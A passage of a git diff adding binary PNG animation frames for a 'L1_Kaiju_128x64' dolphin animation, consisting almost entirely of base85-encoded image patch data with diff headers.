z>bikcu=N=gbXNq(D5pb_T?X-Domom3UU^;-BUnthb(o7Q?-Kut@t=T9?XmV{_b!xc zfCViFqp%YZAcKnHkj}R`-9jk>ENGvjmrg|hOAZN7Fm{YC6LS4#w-2A4jk zUw1_Si?4=na2!iUs-Nt6N?kxiNKWXE2vEUOYX>ZBIbg)aXI_*hfmC2kNV=~Q0iJei zC-T3PI;C~^EUKe&4dB6!2=GJ)xdXRE08R0DOa4*>=!BFi*Vj{Mi2$n@!`J!@_hRnC zwOQkH9mh^g@tdqwM&dDfJuI=Ri4Njol{%QW@F2G{SRjV3}6+N=ypYEY8(!?!7 z=dALp%86;iL+h=DV|?%E0=$Rlbb_6T^2^pY^uka&QM@TJ2~{O#510-AU8!ptT7ev) zvG!*0_As>8M7jVkP#KxrN*!;?5$-UWL^Bluyqls!2`W^zFv=EkT2AbY5MElE;j{8o zi^mrgOnR4u&IlRZQ?24@QHC8ym2O6cE;&%A*)z8MZs0@;=+58WgB6r5QY3S0JEPH} z=b`zgo1}LyQ$!^NOy%rsXJXM?;N-S=bvipn8VlQhJJ^HW!y64=Su`VNoFdCFs_Wl2 zurh(;4nuqJ==@+3kwVaWbGwS&JJ1pVECqT#ugnUfh*a!eTG7^SD#~$_Nlm7f8h{hR zvmaYDsio0wSVvEdN&TbZ3yMRhB+c5`Uw6rx^4=%|TL3ALLO+OZY zuN*BkK=&|(n?rbSpatn{9REz)Sd9RZBTuD_)-E8LTeYe=lL8`2vYY_VB=zlFy6`|s zJJrjC4sKoKmKq?^El7F3ip*a|O9%rP7kH}MjWq9r~O@(|< z2PCa=|2#k!mT|gf2gkA3@RT>FA5T#^=>$>QBR>x?(b{P__pU-!yLsGYiq0ys@`O`B zbq+vpH4XC>V5E@RxjVa*ZCEj)WC3z&2YXIu$ zRH>a6d3O|$=wT?o>-Kg6&w<~+qjPi$YeefA@=Uc&(u9oT>7Ax|&{YIed8^RQq5fis zw+)NJqtwbY&l-hBCTE#Qz}>nic10g`4&be5Bf>^*R8(=C)8I48f2R}N4JitgQowQO zKNwNT-5v#6!=We42(l4!0-QYV6rd4B;@mS_9}zn8d_j|4s#zlRJ(z4^tF+htbP8BR zEL7XT>_MxF&qkkVzPL7Xp=jr}^$$m8(J`3m+#iXWcTP1mUcXLo9I-zeS7l7$ZObyA z-tlh{yAXAfu5@*tr~m&4$Phn{Pob;rkrz8dag}ejF3OCXKZadbvlX;f44+#x5O-Jg z9_)0S3_iMmZo*m*9>F&lo5RkTe}`Vn4qzGnNyCsQW9PJx^7;pT0Jg)RaSLGp0000< KMNUMnLSTZld>|zN literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Kaiju_128x64/frame_27.png b/assets/dolphin/external/L1_Kaiju_128x64/frame_27.png new file mode 100644 index 0000000000000000000000000000000000000000..0291dfb5830a140e9604c82b66e0fead0a9d8577 GIT binary patch literal 1741 zcmV;;1~U1HP)$@V{Y{3g8ONZp?cAc^=h3_`0oJ ze!%-ZVw~TKw-`Xwl05_A9%?;H*GT-SvNc2ajd<-X!rt{;a=@6p$Wr2wut zjRt*QTC+b(a%sq(UH2WqpTDkks0QGNOKD~3W%z3b5S78I0lMj{g6`fo==viO!1FA6 zph*5w2$y(kQH0;8*w?LSf_%^Ho6Anmfz~_E^Q?Pch`dWec3~6A>V@c}k}Xlt*Sz-7m!}qXbI`O%SU1{kduc90=uq0xGo! z3a^d_Qbg0iR0OC1b?Dz{bQ|pmu$Da|kR1ik+&9IDja_^7`5KRG=cWxTA zpvfwqM}gB30l}|JBWoz_-vsV^(re$#2t^G6(FL528Wn!1u4k{yocU`nv|e3wHj_OJ zy7}oGDz&(i{3y6?sz!517JAQQx_~I8a9&w^x+u)@LwJ3K@5UWni0lHQ{Hh*>NF662 z$=414S^P@@*85t${Hpiqfg{L?fTa5q3xyKh&NNKoQ<+U@_oQf*;Z;#S%3vT7z)Atp z`;y|PLL@ctPKztil+ZQ646=p+sR1M*BI|j9Hm!Jxe|5yopF^~}NJOJJvQEbsZX?*P0`A}WW(N4xLQ zl#0Ks(^Q>6Tl`%1$^FM`aJMz0i7(Fs83)AsD4;$&wkM@bn|`$QE&0y3ypG?y9nTXmH<94 z=%Ea!Uj@3Zp{aWB+5E$hhytpIpBc1d=I&k{6E#+CsN_K!{8S9=RPA8S0iqRcMp$I8 zt;v(+Kb1Zvr+-;!#@tE)Yw6zE9jtJg-a$?ecCzRwe|lt05l#UXQBK?%tYj5pjW#V< zxj1sIIvnDdGQh5J@Ac&ru!(r+wt>}+b`L%qaZd5&&sH3YI>%f8$!~Z@&h4@pc|Fhb_kRsbad#kjbyn#o=l*D%G@J_l>jKb(t*=Hi_y%Q5I63o2oGaufVVp3% j_9=sqPshn=A?5W4au)}*O&X|=00000NkvXXu0mjf^msif literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Kaiju_128x64/frame_28.png b/assets/dolphin/external/L1_Kaiju_128x64/frame_28.png new file mode 100644 index 0000000000000000000000000000000000000000..54a889d8151209f012e5b42e1da564793606c3a7 GIT binary patch literal 1686 zcmV;H25I?;P)wUdPS!FH+Q14MrQ7gCtMTXN!pCPM8V$s7-M{BD=lCN>$uj7JR8QwhAmKV@?)%GEc;faQT`gqR=-n+G+cDGI( z3M@-MGFM*6pX5y&y8@1t`@^-gE4%l|e&zGY-}g0|asVxUGEPMFbY)z#CUDFFc4IsF zT8-D%m9jtL0gzFRf$ZHwU*p3%mAFn6Rw&t>dM#|M#(VaS`<>6^&xnsaox8in1dc;N z$jy4`ROoAbNI|WH8G*)=RvoP9c|4<3qD4!SvzMn&MG3p{$W%r75&GWEugX3TBDAde zQ64SY_{_^wn+HI~*vjA0kDkT~GRpTt3mKBG9FyVc9Z`Zs#AC$_BkVW6fN&^d}j{e z!5xD3BD0rD1yt$-NT8dS%xFm(!voCqGI+ArKsk1z)Cru-V#beP!JBjKK&b*|rjOTrCpW^(0e%at{q1Bff6jV?auwjg zDGxAdVa{

Fc87HT~&L9^=BZz|H0U{wlGOFDf9!RT5 z*w8}TPei#2@L)ATJ*U>6q7e?k7mhn9~fz>#a&#d98XRRcLaJu1)!FU`GgeYW6;1W#GGUay*LB& z^R)(zTm#=*C$YlooNLwVnNDVfk0>l}eKZG%x>N+K<2TpZjj?#p#zd2pUQ_QZC%PN%VCWYIz2yFMic=t5Tr z$Y$HC-@Wg$^rP_V?%hGyqX;bf7>t?Dh?PE`St zmZz@Xbvw1OEM#PgD0={{iDO|hJTFi7yE8^cBM8^acqg1wZKg%&RzkJ=?*Uktf?^AX z!7C%@S(Ua?ULrKJ`)~PsfR56xI|MKjUaOhaiL57h&&jL1hq$~Lr51V$W(dIKuA|z~ z!a)>K8Cr*7bx6uNfTr+@i_f0usLPbb+Nq$^Wpq@2lpFw0K3-YiDYa-<)<1PRv&hhi z7&f&Jpq>1Rg6^mSBG{F%72{$gqaNca=K%7A;s+cjl@dKEcXv5Y0DCl=j6RV*I%3zN z^)z{&*a-5#%XbuP!`y{~uvsllWx}y!v^ANA?UX`vBez zMi}gJy?40tuJVzs@YR~75HQC2k0vVu!Zmk7@zQ6U{tk5KB(h4Ablf3ewXh^$J;U)4 z#v{)sR^=nJe#bpm6?wwoB#-G3Fc;dPS_WnXT0Kpfs-i+G>iRQs!4~y(U1z=-R7JKK zQb9JsW3<7&U>Lz`jM#r0SAiCft>>6zc7B?s;fXyA8D_NS8Jg~YA0SHrna0lyx^OxK zROn{&qG-!r&izgbFR~W2Qyo=$N8kSxP8v=I$R8~SSSkLFB0E2AXF2dZzlUGf<(c+lJ|)8<+oPWwOW8n;#pAN~o<)cLyG)V-&hhYb{9P8?X?WqF z)3N^Nd47!hKVxJASfZ;7*x68*C93h9Hvw;65B5EMwh-%;GeWykQAceEkA9EsT-0CJ z^~Dq%D^R+nm)E}Ny>I(HFKGX@8fyT``PR7=`tclTo|KCA2J+M>78|*s(rlDcs0DC- zI|E?nTjzB!5UvR*JMrfnxX7oXj2jQ_qUKR-g!OM|5zpCv??tg(DM8$LxTx4rtG&`e~()k|!n)9vEp4lLjy%u?ztr(i~p-gIQ zIRj{hPBDPCI3DL#)GXQglnoZ=V_A64$KwRf0Q@~w^ktoI(QkGB6g29713py|xWT=j zVgLv^8^CZP0t8Q>qjk!FB> z<#I1{{C?lX0F?d=s%2FoV;A&Cx(4u~lL6k2H`L@KOebnaC0jeV9SGYHN2rtkZi^G*==tL18AtK0V0bN&Es7~r6!YN&`zWoKr<3A zWHkd|bkqeEa=e>qs;()k0Vq)ODj8q`S)Cd7nz-lGDZq+J2H5(#C_IW?C+(Mq(K=DW z0G<>u%>da2%xwNn=BnD@B{hI21;FvtwZi#$ZUk_CB?Cem-+<9mfMpX^>OYwZs-j<# zQ*m#jrvS;=EdxeecJoy*K?Ih2<{UbWTcTrptvCf}z_eS*K+$>D%>y^FS09{9ecpxJ zqU1y&RTaHed0f-6*7rJTHd}0&V6NMuL>uEd1z3TdpK%_=DqcG{xqFOcW5qpi$ZnF` zOK%h^QvjZ;>5j|%$IN8CI;i^S!5r3_Ofk(g{q>{sXPsW%)kS zD~NzQW^(VXGAl6Iy)3B#FszG*3nnh|q^OPN+&!nl@saV?V_thBs6q&Cfkq3UY{zfQ z(#Bxj*7?(z*aRgt0C&#y09V2Ls@YOWyP0&-1&R3}Q%7s6Ps%#MC~1sV1i~BB($UGt ztzs<=?F^8u0lZafM+fZm(Qz78o1*m;0KuKDDJrAdtWpZ_Jg2BSg1(_sS%JTggW=-i z>nV6o0iBfE#a5@+xU>dX%N}7Bg(KG61?lvVk&%HE3?8IwfE{@_zjNcT!P>EH>J%X9 z&+5?bVfsN3M7jpZJoWN6imFn81zptK#Z=MzFX;n#AhARSZ*@Mk;VFha!2-|o)YJf7 z4|z_cfR4zwGF?=5h6P)G9-yK*Lp>L$N&#F^SM7X_S*0Ve2bsBP27pB%{4CQ}jj)Jk z4opL^DOKTo>BOJ~R)*4#)&Ou3saF(JDZp|X$;k9>&det8qO=b{MSeC7y!lxG2Tbko zb9n7w0w~{tbRPiT6pYx8O5b8fWS$oNo@XLl5O~)jx(U3j^WkXQBEV9dNpn48s#8E` z=a7Si(eU{0O(6ba2<};HW2~@570#j7jb^E1puCRrzJ@oYE3p$O85(V3bamLQ>B^(q zJHD&A)yY=3B;2#8SWY&=uuMz3@aXS|{;tg(0e(iq!JGmlMNlF486IziR4Gf~qQ|A-_=j(KsW`g<=Y?;WV>S-X!I-H`uo2i&}g8%>k07*qoM6N<$f>LG@zW@LL literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Kaiju_128x64/frame_3.png b/assets/dolphin/external/L1_Kaiju_128x64/frame_3.png new file mode 100644 index 0000000000000000000000000000000000000000..bedf366c6ccf988ca20807c9062e7e7f7b70d9b9 GIT binary patch literal 1305 zcmV+!1?KvRP)td%uS!`N3?sl70Tq=Y_f8vQs0;XV zED)XBPReiX#sDdJNwAypTe}2E!%Bi3mEYPWz|Z5!90#}7NcLlqyRyF$(j0f5e<};0 zCiXnf))PJj@VgcxQ^qg>IOU%TJa%s#gKO{I4ERen`2OlI;e-hACFOGq+UGdanpyhd zh!MrGLQwU>SqPTdX_8FqT&Rq|IwonSQ)8_nr<(vPcE43V*Un>>xuDj1kF+*XGW7m2 z5h_SfY5_)6{wn0bMdEf^hqv5|WpkfN@}%+Map534OM)^2-~o+*G)b*bD!9^Q!o?jG z4_K5>jj4(RWdwjhQ>Dxf&9qw0b0&(G7Mh#)i249W;)uM`O5n^)per5j2#Xbv$inqQ znRfg+C)4VBBFd}C2tIKf?8()m@+)>*2NgG1+?y5~M8@T^0I-u&^ZqFCqGD1=*@Nci zB^QBX5NUkFVgRXF(ywdzZ*?BO0@&PBB;b@yt)UiANG?MfqX#AeSo~X5281<_UjaBa zOagcf=j&Rfk?Myl2ub%vQ4#}S3*gPAx%+kjr4+7MBl&4g9(6sFt$0xSXc&CO*Q4@w z0ab~M#6q585J#rU&2b+MQvj7gnRH8V2Gi7NC2$mmJQ}u(tPy0S0zV50;42>ED&@EK zLthE2CMHD!jtD#M{Ekl)f>wYdffZW12>X#_Xl*oXO@Q6w2`UA&KvMqfj3MO$Mk(lo zN+S;Jv|UVtw!h?qVOR2=~qUvR(D`zla#?~1=3FjjX;$@uZ{~Oa}A+I^}UTn`J627{ZTOhg(`EX z`O_@4V2@LRXV+`W*W8i?TM=NCPpmX@aM3L!kTQm<{-N9P&UKqo@TyX%7ciLX?>S_M zEY%7;j(!ogX#iY9~!cz8q4sMj3sPQ2dGy5OmJhgzk@Z?a zfZ6HVXhc&v>`pjHY3}kukOyB=JVewIaLT0oz2*WUWEf6>(@eStmeMb7-&$@bOJ^Vv z3?V>N=_^a3Goc;)Sn~U-R50{-xCZY|_g2R&@+=j*S&+^LIw<8@&rmWXa1)?=1ibFXJXvWloWgxRI<@+<&e+sR~C zVdb1g^j)3>RPD0r-G4!&{Fg&#D&LE$O5>Ms9}oX=Z1u~b-raxAe;)q;>SwfYfJwge P00000NkvXXu0mjfKQdP` literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Kaiju_128x64/frame_30.png b/assets/dolphin/external/L1_Kaiju_128x64/frame_30.png new file mode 100644 index 0000000000000000000000000000000000000000..0731760dffbaa07d4e1f50c1fd65bd0eb1f6ef19 GIT binary patch literal 1677 zcmV;826Fj{P)Pk0p{ai`))_7(%Z%c13qA~ z?!K<;z5d{Rf4{x&Tl`!542k!Bulv6L%Aug2Yxj7;$MZEuWOG|s-&N3I`;Rtxx1%Lk z&hL^%|Guu=df)f`dfoT^Wyclk$>O;#+4(CS|F1!^rxjqc0O|C_N89<@m1A~)^m+nN z2Dcc2zJ^TcHO6Rj)9*9aM^c;`V7%9i!oROvPYVK+J|2d(Y7a|4UT@Ge>aqEUE5;T2 z9~oc(O}&&6Bo?s7NT1JY4Uf$~Qbo(7NUI67`?A+4R@5mSGEg-Z4JZj7n?JnrjyMVF z{M`&-9X)pz#Iw}PS%t!5^N%!fg#n@pR2ZNFZ_v#sx)V~KAK<&6zo++EHvdWi(H-j9 z!9RroqUdIZNPtQ~Ky`C5KxT(>=TW2Z0_7wI(CVHD=njnPjt+Rqemoe=8h{SS)Bx6^ zD2<^RATtKxd`Sns<7VDqyvj;F9{pHGAV zvhXrMrWhOJ#%n~lWB^pbH`C=5$7_HyKqLip1X(lz#|7? z7*Bm5t%2)mjX`52dyMsbs?PTy!T<g*NrmcQKtaJ zt{*Zad0rj8vbt-EEUZ%q{|>?c(vBKJrLpuoex*uBjLXx9lydf&f);WthOC<_u;w zwsd^>Ko31j0xZQURBo|H#9%XqLBYddU9vNHu4_(3JMx@F-&vaN*!dJc!ReZgkH;XM zDmpt>1H$=SzfLFcTpL+;CnHfv^}rKR(wbNsQz?)T&L8Ne{#}T!iKo`D-vwybF))iP z18^O7!K*{%7`p@StNb!3ijEY3+^s8j|4Lbi^!oMVQ0?lO&{8n76aEFN_5{POwDgq% zRtSrplV^>ii0o)VhLXwOBZ2Bdx@&-$GW<0JXy2cjAGyO2rw?tO6Knvf0jw0@{l3yG z=tf32t8;l$p$Mq~IK1a>$`CwF@MEB6EKAnzqu;E3UDXY-Hs~oJYjA|4I+{IQyAxGs zjJYanhSUJjB2Sw`l0VZ0y}P*_#JUjkSo2o`3VI6gwv}f^AT`>|fY#1Gt@C$c5PZf2 z)^&!+X<;}OT>v5H@}A$L^NsiPa}=`ngfM_-A<|PhdL8rdqtogXz;)?3vaZnC3rG#n zg=z{w$+u1zk-4(=jLM0~f_DPF5r`-pxm-GTCjV=Cqc_6JX9Y8q`v6*g)9%yG`Vu@H zIdm<-^{G71kkHMlQWuu~%~56msfnY3=T%Rms5=Ez9Fj=`QAFmKd@)N2%WD8DuU3%N z)iTa$$4CvH4W+HK<=+FKjJ6{MbR(j#=e|ggN@=*|-vb~jbE#ICJqxG=LbN`idhTF~ ztc|(8Wd@Lnz^db`6?|lT=P|Mq-Xf2KZzkxo09xQ7nkcIpL5PP?(RI%5_kQm^_wzbo zjDz+8q~fm120I!--IU(dw30R)b-X0ETmxwNc~?&C9y6OSTQ~7}yz=OLJT1)RT-To; zhGdi+f~?}qv&bEdAWnrDtSbB@r_#@@F?5`Ezxl%uj{~wh&l_Cyy>$wRfX|h2rdF(0 z0|U)UvtrRa1w^CFgRY&EnNu25rSV1Pwuv5187CM(s~0L zESuji*b7p0MxEZ-_wUBaz{!B?2de=r$L}cOcA?T)Tp=se2=ZX&_|uD^Q;=~cf^B{Q X1UzU}jMrLx00000NkvXXu0mjfn1~uQ literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Kaiju_128x64/frame_31.png b/assets/dolphin/external/L1_Kaiju_128x64/frame_31.png new file mode 100644 index 0000000000000000000000000000000000000000..898efdc4b8fe693c99eb9613e82bb5762b1d1645 GIT binary patch literal 1639 zcmV-t2AKJYP)OFJ=4bXJY&xJ?|e>!-lyPvB>sHvdZy8o=pu-&y$T)tzh#s*&p5yYF#~-|i5fwP5th5uK;OYkVpP zYOG~w{+VFsE0k%WHMxQeU9e>V=H`=#DuT_pjmc_=bFwHwmnW+=3Q1Z}6s|PJl)NiH2l+em#-{@b4L9=pb`XIDy4uJGysIFFVH za0`g>rKCx72L3E62MS3(ME9Bu+RqZ*R0PnNMiFr+kMS+ul*Sv9SdZ>KM**e#$r^t# zmpDWVcj~?N4Q?*wC5k*!i{>?cIipmYhZP{K0R7H_U zc}V5!j9?WGCeesgFS{%MKE^mx1)w1pP4rNnRwjKLZ;-1b0xaY4&w6HoCOZ<{><;cs zqN<=df=70)bHoN;D{Syk?h&3FPfJLu>s*hF8G3Kn!C8FAz+Warp*fGFK(53fPi*b`BpGl~78!dq2=i|2qP#i5V}{oPY~2EocYCK+?i3IT6`1xanA&Z^_>V zRyTrBctbYoFtjS!RUvPS5TP6(I#FWGQBlHG;tgT_Hh+%K2_{mFzr(I6R3Qse_3+a5 zCm_@ZSOYR0K&`B@&flBoptZJ+Xz{k)KSogwusZ@W&pD6Eo#-*J#QTlLj2z{k=)@gp z3)k9ZQngVbM}@OgI^7!`W{jd7fcO5rXa23^3^i~?*Y5-(Ilw16k-}?mjRtq3s8e_p zZaG1fQ+6F;S(H`*Xj|FJ@~f0yrEp0ePY1Q4nTFt6AHY*BNIN}4vjT7E4@3~@T=HkF zRRCwq$94AKy}RvX+1Kf8-s7_*2k^qm89WMlRK;j`BLy_@PiyKJ{=`{*;o!`t` zx!s~HuYYSuj6izHC0)nxC59)G!tEc1AUmw9R*o(n>1A}~0vbIoi&QB{^Rsdy^S7Nq ztF^n}ae_{-z7b8L=R1E-fXs=&a)Q(mFou2%RC%ulXsE4_FAMsD2z_VJ0r&{ez!M$q z9v_b)`n~{7rZT0g*MYR-$%+P@y@Bu%fC`q`VVPZ;-PzG>9SP@BRiO0?s#?XGE|2}c zff=0Y;Gy%QQ4_5a=)KA#N^De(;rnmnvI0xSzDt63Cc%o_6Ip}=&-v`Jrp+8IB z-hm8l{%+$0U(Y3U{({Q;LY;FKIu5$6B^002ovPDHLkV1lXu4UYf- literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Kaiju_128x64/frame_32.png b/assets/dolphin/external/L1_Kaiju_128x64/frame_32.png new file mode 100644 index 0000000000000000000000000000000000000000..39f5db8a0131b28046b4450ce84eda9d9f519ba9 GIT binary patch literal 1618 zcmV-Y2CeytP)d$G==M{J<5M|M zV+}*|tM~rxqHQ%gJMSy__qI3(&}N~8Sv&e(o7u=S6x0bg?-M}yQ&|x?mq&n|@I(QW zo<&oOB=j2XD((`0s~tl3O}%AymjsygLy?)Ot09daNi?;)N9PgU4I7&ckZ4H8=l3l+0RNmph7QtqhZD?rjQ1HQ(B4Z9u{;8B zhP;hOan<1bd+(yMs(?5c)hjn%CIZZ4S`q<45-mH zx*2|DIRF&~Wf*OP&H`&zc@-9k9@X&h=edoP>+rTEIe^z_)&R7yHp_%H{ua%dEL^Ug zkP^a540ETN%MB9897S*}YhI{<*cbXBU8mTr|-`dCoHF)3`ydk_a%2$FK2j2Ab?hbh9&f zWfD~d%@I7ZbDbkLc+bKH59J==x$(4wqh8dj2yEXhUAqvfTBn47u$?(%? zXtHoeogo_mRydER4lwXW1VQ%OXkSgyS;HgI$>QNP$Y{GG3am_G->C4jU4Yg{5`H|B z_WRzV&8%kNsVVSU!Ka0IB#Ec`=)M120%jdEUZ^<%7hW2W1;jwoz-MwIvSo16u{ht7 z-v*+}t%f&bqYguNCDtzFwg?f*0iqox#u~i4hgG;Cte@u3@mfio?&GD4<^g=&UzPMA zOPREF{RBkn0Iz6A&X^|`T5*ShI>PwA170Vn!fms^wW0_>4UHIH>OXUWRfQb1Eys<< zj4b7^Xvbfg2sBwW0{%IdtJ?1t)%ps+CklOFL6QWvD2oAvjhCh}O|7X=ZRkeISBJ<&wWEsRT-4 z{j@T@vu%YFX!KS(n^eZPkj?>UL5CK3w04rP+8_|zxUNdzI;vcrJV`i5ItTFV`>C^3 z%>u5>Y)(;S9DV}Fb#zOGu_OoZV8_yMdimi8NLF#HVj^VdEIAFV7*GYg>mlWzHO!|Z zm1T7R?T}|DZpa6s&Xz@#PC5sW4DLM(km#Y1q7U+Hg)H8_G#5JM1f_oupfUf1P-ww( zD$3V>bfm#RqNn& zfLrj&CV*O7bp5NsO-hw?=~+&zq5y&y&)|7A&vJ;U5s{gI(A5e+7NW(WNPBumlfB3U z)MP+tm~{Ya;8Oh`!KdtxJ>bT*qNyh_+@Y(tWjutr=Gob-HnR_x?v=7>(CBelq@9A) zzeV7*^RE% z{Il0_JZA zxyBgJaNv3VcE7G`JkRsfLR{DNtFQK)0yi&QpOTB4s{-8GU0AXHof%9W(irq%aD6#& z#>K6}Ddl+{))4!2!zv@7*4Jp?vTh3lWXD>JugVCl>%l}1 zek3DU#Q;!tuHD7}E4>pcey+7UBuLJ(iUH==a}B5yZQY}D0E^*K8<%L=vR-zt90kLF zuV4VnzFw09aP&s?(Y(NG3|Q%v;RViL!2lNdX1^^A5HTDsv7zSX8BDDX*FtFiT|*p9+&)i^ruIKvRyEKX8YFJ=Q~mQk>Psc4MXPt?Rbr z0F>}lc)(sC*(B`W#b91wMyk?16%Jub^<9<&a2w_XqUek|Ob@smz+zMydsSgq2%ht` zpwtH{9VdNN6mJ1{<-u!GimsOH)SQFD9q|$l5&Ft1 zi!(Ug&3$@qrJe0zyP#t7AW|6;OcebSgS)6;NN#^VIxqVAR92oA!*w zIl`N0+KNyP5FJP@j8T=`RN-3>K7&ukB3wae$3d(%$ejje3FR0+*T75#kgLQ|iANNb zhjtPxP3&T)k{m$G{-fWA{i+X5Q}}5HV!^f?0Km2cTZ)L^AYl zz~U8rNwq76XY~-t0nBv(2^C7CHlOuk>$!1{E|8_w=?Lz=Jdc zc<#>l-rW&zqbva1jx|@#BcVM9n8vc=@K4AGpmD#!2udq~-SK~}4M8a^szmQN%!Y3W zAD=O5ejWgRb{GQ2uF^8~EGx^(P?=@`>cBG;pP}9r^G0hNZ$at102~T-GC^f1SRu

A_%cY^nB~nLryOmg z7U49U=22AfNPGVgMYdEvpNqd3VkwD66E>@HMdrqGRj_~tkC#`hpViMCE4~fXHi0L# z3a~0XNUxTuz7?`aZ#gBItR?g;=G@#`sSq$HmNM?n>mcMM`hxI|h z90DXkpg`O+O%QE<>+=aIDWdv$=eL6Mba;5xM&MzVa0q}4W#-VvMm@KJ+O6N$JPosf z6gHwpK&@v%%ij&mVpRn%IzGdiTumSos#3}17`{Inmw}b4D(=oF*WW34*t9ZvH2?nq zUSJ_9%kRj3qlg+%Ch7I|tzgFMDLw@*;o$_3=D;|mx+tOBaJ<0smE{1^!S6`ob|ETv tSDy1v9l$*Uf_Ctym1|E$rmB}&>kp8-&f}bY-Pr&D002ovPDHLkV1goI?@a&z literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Kaiju_128x64/frame_34.png b/assets/dolphin/external/L1_Kaiju_128x64/frame_34.png new file mode 100644 index 0000000000000000000000000000000000000000..969b91193d409a832d6d33a097670ca00399d371 GIT binary patch literal 1591 zcmV-72FUq|P)N{wWzs0r^zh-ZRrN*TD7s&hj5Nyx;{jwADBgsG+(0nsZ^C+HrpYADRK4=SlBA&5=9|AUP4f*WGgRceWk! z=kxi_vKwg(_Be<1yk{IK2go?7hh2U`4j|=n5IaV@{lGJl z{GF{;zDK{;*aT0^kBmKr|AevHNzii7(Vf=adgSBzt;RJufQM2}!W*8nXDCC^x$iW- zM?Rh3YTOUg$~NOh$C3<>@88A%5j~d-&_&y)zf+uaNRuPyo?V}MnnqD`8MaTa)XNCeWZ+{pkIz3_WZ zzjg@C&#+l*4j_4DCQ({V<^)#yNz{z5S2#b_No%=hO%7mD zLfiHDbyXI8E3_mGUyI}l9eSD>KvF_7JiSK8sW85U9cVo6awtzS2G4t(z%%A*9kH&d z5Wp=a-Sr^Is^m{%0Bv!t*v$ZRy!S7KMi$z#>#6dQtT=<+PUK+#cz$ONK=mt00xeWM zr(VqiI>gW4&H!V4*EPxjFqYI-=Kz40Wq~!}D=+0HsL7~~*If%IA;JLkS`?8m`mz|G z#&qr;H%=seRfYlX6w=KqnH*pYdx^IS?+_p*G!|;NX5$`Y4CT$pvxw;0p`#@Spb$fV zXF`?`;YD;o$5+F_B0cB`0Up_&@pl|CEn{Aj16UrkB!gPN z-AAz%x^=pl0VuZoMo=ZANY8r{#!e?V#Q>o?K(r$_84Mgsq=k-9cLrU>CO{+)_!SJW zDqdLbON*vCk#(VW*99!HuFe509W_`d$5rX@81z`Wau6!-gyE@d%X2@T0jQC@6XN=L z$KvSs#KKzj{#7|Z#U!|bMTH}E^s(Z$(+`KzQ-H_w$A}+0HSDPNRp>yAZB=r$mP1(% z;7P_{?9M{WX(s@jU;%6Se2fAHupWK5XQ-hn4R?Dk(B&B3@LiGvc+ipbtYn=qL{x@$ z(y{dQu5bF!!>Q1Y*p>yyPM~KeJ8%paX*-e10X)Ypj!|~TX)gR|y8RWTa)9Vr9lzg+ z6Nct;ByZb^_xA+uQUEG`r*@mQeB2@P#t=~Q6)_M`cgO#zF;6(btuW;PD^EOGgRd+< zcOnxCI+6a07?==^?b%9RcOS0bE>^fM1Xw(AmEmJYI296ZcY+&3kIDcMTBUtyl%5AU$shA>3<^T+O(&v|Hf>+}PbGfp7>I!=G??kzLpfEDl7k zS26+JOkIv}^#27|5#7NVMCmtk1kJ?tDCQVr+u>I_->#Ck$j-{{nB6r251Uqg*0TJH zm?$I)+vVk5^@T3Eo_?9I@NKg_#a7_FGjmSGI8j;j;`S;e)vqiE&DR5;S@p!S{sCONsyh002ovPDHLkV1kQQ?b84N literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Kaiju_128x64/frame_35.png b/assets/dolphin/external/L1_Kaiju_128x64/frame_35.png new file mode 100644 index 0000000000000000000000000000000000000000..a72cf1823ee1ad46ad72a8b4e1e9156c0dedcc88 GIT binary patch literal 1560 zcmV+z2Iu*SP)#en?wbq{JX}$ONb>MlP_v`U|ytY95QH*}ta|<5%J8)9=F8MDyFcma}&_&l2lAsxy zPJ%m|hKRHL0mEy&;D$zxqk$V*dTu!v#iZ92oYWItz5@r)xSWQMF(6|6+c0*2@BNE@VhDlk+2Ex8^@#%y!baO6~Yg+kN%Or}LYQ3ps!%q@08|Jy~sdgy3_p zG`>eZpWkfU4`^jK<3`8Q3{Rim76Br9P9wmsuzgC7Bv*sw1h+*1>%KK^83&M{O{!A% zEDdN*a8m@}bE4PTxL2eAir%|8;cOYhuokQoP#pm*`Q!c2na}Nt2%t@b-;*YE5}q7< zIs#}&i2&KV67k^i+!Gb7MWfF>um~2vR!4yG8qxn)1eg&OYtmAVL*UsV5oo)zG6Eoa z(f5*m+Z`Zkd}I;mm;;ux_%*}$ zQiRm5ydM++BB50B%3V8v%eeuw+?+B0m1wq=1882kLX>8cIf0peT4<*CGn}96WL>4U zkOLq}Si7FS&SJs0!XjbxUW6;`&=ZaTni87f`8_^PhVhZ;!1M7ghw_lI(ca?(o-t?Z zNOfIG0n%dfT|We&N`9vZU@b0+>IlHcd;g=*$U-B#o+}?=#Ve?GB2NSu?JGF|*Dr+x zBB8o>yP7w`A#Hzq1ZeGlU850TjHO+(Il#aRSzt@}%uA&SS~9Zp^{$1}5QzZ%UKEiu z`a+D)bGr0Q8Yhy!GSh%`3fUc1RyaUwc!@U)?-ZaB8YHx%Y}|ttLwOnbDk8e>&=KJP z9BK;iObAI4UPKqPwfXV0;yCDOf0E;TNda0YnoY_ITTud|r5!&0Ob0&Z?gd}r0INVa z09~`*KR*kQiY3zGM)OeA36MUwoDiaC_UZ^=9s_BJ^x&kSybD-y#6-rth65lC5i)2& zbC6TJcjvjfHD9DW&H;7~jvj3&F{AfAa=e6brxTot0HHcSw4*f{baL7mU2B_BD4}w* z(?Em={D=tPsU2wjH7BqLD7w(qbpb@y)f@onm<{cmP8UjZg4Xm;CTW{W{Hh4xNg3$b z-5Z`Yr>TZ_9exA{h*S(`EMU2Q*4lhG^*sS)qf(aU$29SmFSY-E%50YXv6y>;}$Ijim@cLoEHf6{iba z{Id@9x)bl;30zTNqySpQyVViU^6?ItH>QAP4j>sEMG&09U`pw-hMPr5JZg^tQ8jWrDJ6d5{Be;^_X zuA~%FcbAA)5OtsxQs`})5gFhAZCn;4?_6Q26xF*jf@;U{g6o&Y0W8CxAaSP<)w_!4 z@IK29Ff;sZweMRIF=mF-gdHFw)c;`(8BXJN03_7^?fQGco#r3AcOtGYWHw&_0000< KMNUMnLSTX%)YRDk literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Kaiju_128x64/frame_36.png b/assets/dolphin/external/L1_Kaiju_128x64/frame_36.png new file mode 100644 index 